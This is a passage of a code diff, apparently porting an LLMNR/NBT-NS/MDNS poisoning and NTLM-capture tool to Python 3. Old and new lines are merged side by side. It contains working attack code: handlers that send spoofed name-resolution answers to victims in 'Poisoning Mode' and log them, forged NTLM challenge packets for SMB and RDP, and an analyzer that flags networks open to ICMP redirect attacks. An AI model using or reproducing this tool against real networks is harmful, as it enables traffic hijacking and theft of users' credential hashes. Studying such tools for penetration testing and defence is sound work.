CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"]) CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
@@ -1572,22 +1586,22 @@ class SMB2Session1Data(Packet):
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"]) CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
##### Workstation Offset Calculation: ##### Workstation Offset Calculation:
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation)) self.fields["NTLMSSPNtWorkstationBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation))
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"]))) self.fields["NTLMSSPNtWorkstationLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"]))) self.fields["NTLMSSPNtWorkstationMaxLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
##### Target Offset Calculation: ##### Target Offset Calculation:
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"]))) self.fields["NTLMSSPNtTargetInfoBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs)) self.fields["NTLMSSPNtTargetInfoLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs)) self.fields["NTLMSSPNtTargetInfoMaxLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
##### IvPair Calculation: ##### IvPair Calculation:
self.fields["NTLMSSPNTLMChallengeAVPairs7Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs7Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
class SMB2Session2Data(Packet): class SMB2Session2Data(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -1597,4 +1611,184 @@ class SMB2Session2Data(Packet):
]) ])
######################FindSMBTime.py##########################
class SMBHeaderReq(Packet):
fields = OrderedDict([
("Proto", "\xff\x53\x4d\x42"),
("Cmd", "\x72"),
("Error-Code", "\x00\x00\x00\x00" ),
("Flag1", "\x10"),
("Flag2", "\x00\x00"),
("Pidhigh", "\x00\x00"),
("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("Reserved", "\x00\x00"),
("TID", "\x00\x00"),
("PID", "\xff\xfe"),
("UID", "\x00\x00"),
("MID", "\x00\x00"),
])
class SMB2NegoReq(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = StructWithLenPython2or3("<H",len(str(self.fields["Data"])))
class SMB2NegoDataReq(Packet):
fields = OrderedDict([
("StrType","\x02" ),
("dialect", "NT LM 0.12\x00"),
("StrType1","\x02"),
("dialect1", "SMB 2.002\x00"),
("StrType2","\x02"),
("dialect2", "SMB 2.???\x00"),
])
###################RDP Packets################################
class TPKT(Packet):
fields = OrderedDict([
("Version", "\x03"),
("Reserved", "\x00"),
("Length", "\x00\x24" ),
("Data", ""),
])
def calculate(self):
self.fields["Length"] = StructWithLenPython2or3(">h",len(str(self.fields["Data"]))+4)#Data+own header.
class X224(Packet):
fields = OrderedDict([
("Length", "\x0e"),
("Cmd", "\xd0"),
("Dstref", "\x00\x00"),
("Srcref", "\x12\x34"),
("Class", "\x00"),
("Data", "")
])
def calculate(self):
self.fields["Length"] = StructWithLenPython2or3(">B",len(str(self.fields["Data"]))+6)
class RDPNEGOAnswer(Packet):
fields = OrderedDict([
("Cmd", "\x02"),
("Flags", "\x00"),
("Length", "\x08\x00"),
("SelectedProto", "\x02\x00\x00\x00"),#CredSSP
])
def calculate(self):
self.fields["Length"] = StructWithLenPython2or3("<h",8)
class RDPNTLMChallengeAnswer(Packet):
fields = OrderedDict([
("PacketStartASN", "\x30"),
("PacketStartASNLenOfLen", "\x81"),
("PacketStartASNStr", "\x01"), #Len of what follows... in this case, +20 since it's x81 lengths are >B
("PacketStartASNTag0", "\xa0"),
("PacketStartASNTag0Len", "\x03"), #Static for TSVersion
("PacketStartASNTag0Len2", "\x02"),
("PacketStartASNTag0Len3", "\x01"),
("PacketStartASNTag0CredSSPVersion", "\x05"),##TSVersion: Since padding oracle, v2,v3,v4 are rejected by win7..
("ParserHeadASNID1", "\xa1"),
("ParserHeadASNLenOfLen1", "\x81"),
("ParserHeadASNLen1", "\xfa"),#... +12
("MessageIDASNID", "\x30"),
("MessageIDASNLen", "\x81"),
("MessageIDASNLen2", "\xf7"),#... +9
("OpHeadASNID", "\x30"),
("OpHeadASNIDLenOfLen", "\x81"),
("OpHeadASNIDLen", "\xf4"),#... +6
("StatusASNID", "\xa0"),
("MatchedDN", "\x81"),
("ASNLen01", "\xf1"),#NTLM len +3
("SequenceHeader", "\x04"),
("SequenceHeaderLenOfLen", "\x81"),
("SequenceHeaderLen", "\xee"), #done
#######
("NTLMSSPSignature", "NTLMSSP"),
("NTLMSSPSignatureNull", "\x00"),
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
("NTLMSSPNtWorkstationLen", "\x1e\x00"),
("NTLMSSPNtWorkstationMaxLen", "\x1e\x00"),
("NTLMSSPNtWorkstationBuffOffset", "\x38\x00\x00\x00"),
("NTLMSSPNtNegotiateFlags", "\x15\x82\x8a\xe2"),
("NTLMSSPNtServerChallenge", "\x81\x22\x33\x34\x55\x46\xe7\x88"),
("NTLMSSPNtReserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("NTLMSSPNtTargetInfoLen", "\x94\x00"),
("NTLMSSPNtTargetInfoMaxLen", "\x94\x00"),
("NTLMSSPNtTargetInfoBuffOffset", "\x56\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh", "\x05"),
("NegTokenInitSeqMechMessageVersionLow", "\x02"),
("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"),
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
("NTLMSSPNtWorkstationName", "RDP12"),
("NTLMSSPNTLMChallengeAVPairsId", "\x02\x00"),
("NTLMSSPNTLMChallengeAVPairsLen", "\x0a\x00"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr", "RDP12"),
("NTLMSSPNTLMChallengeAVPairs1Id", "\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", "RDP12"),
("NTLMSSPNTLMChallengeAVPairs2Id", "\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", "RDP12"),
("NTLMSSPNTLMChallengeAVPairs3Id", "\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", "RPD12"),
("NTLMSSPNTLMChallengeAVPairs5Id", "\x05\x00"),
("NTLMSSPNTLMChallengeAVPairs5Len", "\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr", "RDP12"),
("NTLMSSPNTLMChallengeAVPairs6Id", "\x00\x00"),
("NTLMSSPNTLMChallengeAVPairs6Len", "\x00\x00"),
])
def calculate(self):
###### Convert strings to Unicode first
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le').decode('latin-1')
###### Workstation Offset
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
###### AvPairs Offset
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
###### RDP Packet Len
NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
##### RDP Len Calculation:
self.fields["SequenceHeaderLen"] = StructWithLenPython2or3(">B", len(NTLMMessageLen))
self.fields["ASNLen01"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)+3)
self.fields["OpHeadASNIDLen"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)+6)
self.fields["MessageIDASNLen2"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)+9)
self.fields["ParserHeadASNLen1"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)+12)
self.fields["PacketStartASNStr"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)+20)
##### Workstation Offset Calculation:
self.fields["NTLMSSPNtWorkstationBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation))
self.fields["NTLMSSPNtWorkstationLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtWorkstationMaxLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
##### IvPairs Offset Calculation:
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtTargetInfoLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
self.fields["NTLMSSPNtTargetInfoMaxLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
##### IvPair Calculation:
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))

View File

@@ -14,32 +14,42 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
import fingerprint
import fingerprint
from packets import LLMNR_Ans from packets import LLMNR_Ans
from SocketServer import BaseRequestHandler
from utils import * from utils import *
if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
def Parse_LLMNR_Name(data): def Parse_LLMNR_Name(data):
NameLen = struct.unpack('>B',data[12])[0] import codecs
return data[13:13+NameLen] NameLen = data[12]
if (sys.version_info > (3, 0)):
return data[13:13+NameLen]
else:
NameLen2 = int(codecs.encode(NameLen, 'hex'), 16)
return data[13:13+int(NameLen2)]
def IsICMPRedirectPlausible(IP): def IsICMPRedirectPlausible(IP):
dnsip = [] dnsip = []
for line in file('/etc/resolv.conf', 'r'): with open('/etc/resolv.conf', 'r') as file:
ip = line.split() for line in file:
if len(ip) < 2: ip = line.split()
continue if len(ip) < 2:
elif ip[0] == 'nameserver': continue
dnsip.extend(ip[1:]) elif ip[0] == 'nameserver':
for x in dnsip: dnsip.extend(ip[1:])
if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False: for x in dnsip:
print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5) if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False:
print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5) print(color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5))
print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5) print(color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5))
print(color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5))
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
IsICMPRedirectPlausible(settings.Config.Bind_To) IsICMPRedirectPlausible(settings.Config.Bind_To)
@@ -47,28 +57,40 @@ if settings.Config.AnalyzeMode:
class LLMNR(BaseRequestHandler): # LLMNR Server class class LLMNR(BaseRequestHandler): # LLMNR Server class
def handle(self): def handle(self):
data, soc = self.request try:
Name = Parse_LLMNR_Name(data) data, soc = self.request
Name = Parse_LLMNR_Name(data).decode("latin-1")
# Break out if we don't want to respond to this host # Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0], Name) is not True: if RespondToThisHost(self.client_address[0], Name) is not True:
return None return None
if data[2:4] == b'\x00\x00' and Parse_IPV6_Addr(data):
if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data): Finger = None
Finger = None if settings.Config.Finger_On_Off:
if settings.Config.Finger_On_Off: Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
if settings.Config.AnalyzeMode:
if settings.Config.AnalyzeMode: LineHeader = "[Analyze mode: LLMNR]"
LineHeader = "[Analyze mode: LLMNR]" print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) SavePoisonersToDb({
else: # Poisoning Mode 'Poisoner': 'LLMNR',
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) 'SentToIp': self.client_address[0],
Buffer.calculate() 'ForName': Name,
soc.sendto(str(Buffer), self.client_address) 'AnalyzeMode': '1',
LineHeader = "[*] [LLMNR]" })
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) else: # Poisoning Mode
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
if Finger is not None: Buffer1.calculate()
print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) LineHeader = "[*] [LLMNR]"
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '0',
})
if Finger is not None:
print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))
except:
raise

View File

@@ -15,25 +15,38 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct import struct
import sys
from SocketServer import BaseRequestHandler if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import MDNS_Ans from packets import MDNS_Ans
from utils import * from utils import *
def Parse_MDNS_Name(data): def Parse_MDNS_Name(data):
try: try:
data = data[12:] if (sys.version_info > (3, 0)):
NameLen = struct.unpack('>B',data[0])[0] data = data[12:]
Name = data[1:1+NameLen] NameLen = data[0]
NameLen_ = struct.unpack('>B',data[1+NameLen])[0] Name = data[1:1+NameLen]
Name_ = data[1+NameLen:1+NameLen+NameLen_+1] NameLen_ = data[1+NameLen]
return Name+'.'+Name_ Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
FinalName = Name+b'.'+Name_
return FinalName.decode("latin-1")
else:
data = NetworkRecvBufferPython2or3(data[12:])
NameLen = struct.unpack('>B',data[0])[0]
Name = data[1:1+NameLen]
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
return Name+'.'+Name_
except IndexError: except IndexError:
return None return None
def Poisoned_MDNS_Name(data): def Poisoned_MDNS_Name(data):
data = data[12:] data = NetworkRecvBufferPython2or3(data[12:])
return data[:len(data)-5] return data[:len(data)-5]
class MDNS(BaseRequestHandler): class MDNS(BaseRequestHandler):
@@ -50,13 +63,25 @@ class MDNS(BaseRequestHandler):
if settings.Config.AnalyzeMode: # Analyze Mode if settings.Config.AnalyzeMode: # Analyze Mode
if Parse_IPV6_Addr(data): if Parse_IPV6_Addr(data):
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))) print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode else: # Poisoning Mode
if Parse_IPV6_Addr(data): if Parse_IPV6_Addr(data):
Poisoned_Name = Poisoned_MDNS_Name(data) Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton()) Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton())
Buffer.calculate() Buffer.calculate()
soc.sendto(str(Buffer), (MADDR, MPORT)) soc.sendto(NetworkSendBufferPython2or3(Buffer), (MADDR, MPORT))
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1) print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '0',
})

View File

@@ -15,22 +15,27 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import fingerprint import fingerprint
import sys
from packets import NBT_Ans from packets import NBT_Ans
from SocketServer import BaseRequestHandler
from utils import * from utils import *
if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
# Define what are we answering to. # Define what are we answering to.
def Validate_NBT_NS(data): def Validate_NBT_NS(data):
print("NBT-Service is:", NetworkRecvBufferPython2or3(data[43:46]))
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
return False return False
elif NBT_NS_Role(data[43:46]) == "File Server": elif NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "File Server":
return True return True
elif settings.Config.NBTNSDomain: elif settings.Config.NBTNSDomain:
if NBT_NS_Role(data[43:46]) == "Domain Controller": if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Domain Controller":
return True return True
elif settings.Config.Wredirect: elif settings.Config.Wredirect:
if NBT_NS_Role(data[43:46]) == "Workstation/Redirector": if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Workstation/Redirector":
return True return True
return False return False
@@ -40,28 +45,38 @@ class NBTNS(BaseRequestHandler):
def handle(self): def handle(self):
data, socket = self.request data, socket = self.request
Name = Decode_Name(data[13:45]) Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45]))
# Break out if we don't want to respond to this host # Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0], Name) is not True: if RespondToThisHost(self.client_address[0], Name) is not True:
return None return None
if data[2:4] == "\x01\x10": if data[2:4] == b'\x01\x10':
Finger = None Finger = None
if settings.Config.Finger_On_Off: if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0],445)) Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
if settings.Config.AnalyzeMode: # Analyze Mode if settings.Config.AnalyzeMode: # Analyze Mode
LineHeader = "[Analyze mode: NBT-NS]" LineHeader = "[Analyze mode: NBT-NS]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode else: # Poisoning Mode
Buffer = NBT_Ans() Buffer1 = NBT_Ans()
